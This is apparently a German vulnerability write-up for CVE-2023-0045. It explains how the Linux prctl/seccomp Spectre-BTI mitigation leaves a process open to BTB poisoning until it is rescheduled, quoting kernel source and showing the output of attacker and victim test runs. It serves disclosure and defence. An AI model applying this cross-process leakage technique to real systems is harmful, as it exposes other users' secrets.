
PoC und Write-up für CVE-2023-0045: umgeht Linux-prctl/seccomp-Spectre-BTI-Mitigationen mittels BTB-Poisoning und Flush+Reload, um Prozessgeheimnisse zu leaken.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Beim Testen der Erfolgsrate von Spectre-BTI-Angriffen haben wir ein seltsames Muster bei der Verwendung der Kernel-API als Mitigation festgestellt[^1]. Unsere Tests ergaben, dass der Linux-Kernel den Angriff nicht korrekt mitigiert und den Prozess für einen kurzen Zeitraum nach dem Syscall angreifbar lässt.
Weitere Untersuchungen zeigten, dass der Kernel nicht sofort während des Syscalls einen IBPB ausgibt. Die Funktion ib_prctl_set[^2] aktualisiert die Thread-Information-Flags (TIFs) für den Task und aktualisiert das SPEC_CTRL MSR in der Funktion __speculation_ctrl_update[^3], aber der IBPB wird erst beim nächsten Schedule ausgegeben, wenn die TIF-Bits überprüft werden. Dadurch bleibt das Opfer anfällig für Werte, die bereits vor dem prctl-Syscall in den BTB injiziert wurden. Das Verhalten wird erst nach einer erneuten Planung des Tasks korrigiert. Darüber hinaus gibt der Kernel-Eintritt (aufgrund des Syscalls selbst) in den Standardszenarien (d. h. wenn der Kernel sich selbst über retpoline oder eIBRS schützt) keinen IBPB aus.
Die Ausführung eines prctl zur Mitigation von Spectre-BTI-Angriffen mittels:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
führt unter Kernel 5.15 zur Funktion ib_prctl_set[^2]. Wenn die Option SPEC_DISABLE verwendet wird, wird das TIF-Bit für task_set_spec_ib_disable gesetzt und task_update_spec_tif aufgerufen:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable ruft set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); auf und wenn der Ziel-Task der aktuelle ist, wird speculation_ctrl_update_current(); aufgerufen.
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
Die speculation_ctrl_update_current führt nach dem Wrapper speculation_ctrl_update die __speculation_ctrl_update mit tifp = ~tifp aus, wobei die Aktualisierung des wrmsr zum Setzen von STIBP ausgeführt wird, aber kein IBPB ausgegeben wird:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
Der seccomp-Syscall verwendet ebenfalls ib_prctl_set[^2] als Mitigation, innerhalb von arch_seccomp_spec_mitigate[^4], daher ist das gleiche Ergebnis mit seccomp zu erwarten.
Obwohl wir durch Code-Analyse sicher sind, dass das Zeitfenster für eine Ausnutzung existiert, war unklar, ob es groß genug ist, damit das Opfer Geheimnisse lädt und der Angreifer sie ausliest (da erwartet wird, dass Geheimnisse nicht im Adressraum des Opfers sind, bevor der prctl-Aufruf erfolgt). Die Tests wurden auf einer Bare-Metal-Maschine mit Unterstützung für Hardware-Mitigationen und installiertem Ubuntu 22.04.1 LTS durchgeführt:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Der Testcode besteht aus zwei Prozessen, die auf demselben logischen Kern ausgeführt werden. Der Angreifer vergiftet ständig den BTB mit der Adresse eines Spectre-Gadgets, das sich in einem Opferprozess befindet. Der Opferprozess misst die Fehlvorhersagerate, indem er prüft, ob eine Testvariable von der Spectre-Gadget-Funktion zugegriffen wurde. Dies führt normalerweise zu folgender Ausgabe:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Dann wird der PRCTL verwendet, um den Angriff zu mitigieren. Die Mitigation kann aktiviert werden, indem am Anfang des Programms prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); hinzugefügt wird. Dies sollte den Spectre-BTI-Angriff mitigieren:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Einige Tests zeigten jedoch ein abweichendes Ergebnis:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
Und das Ändern der 'nice'-Priorität scheint die Fehlvorhersagerate zu beeinflussen:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)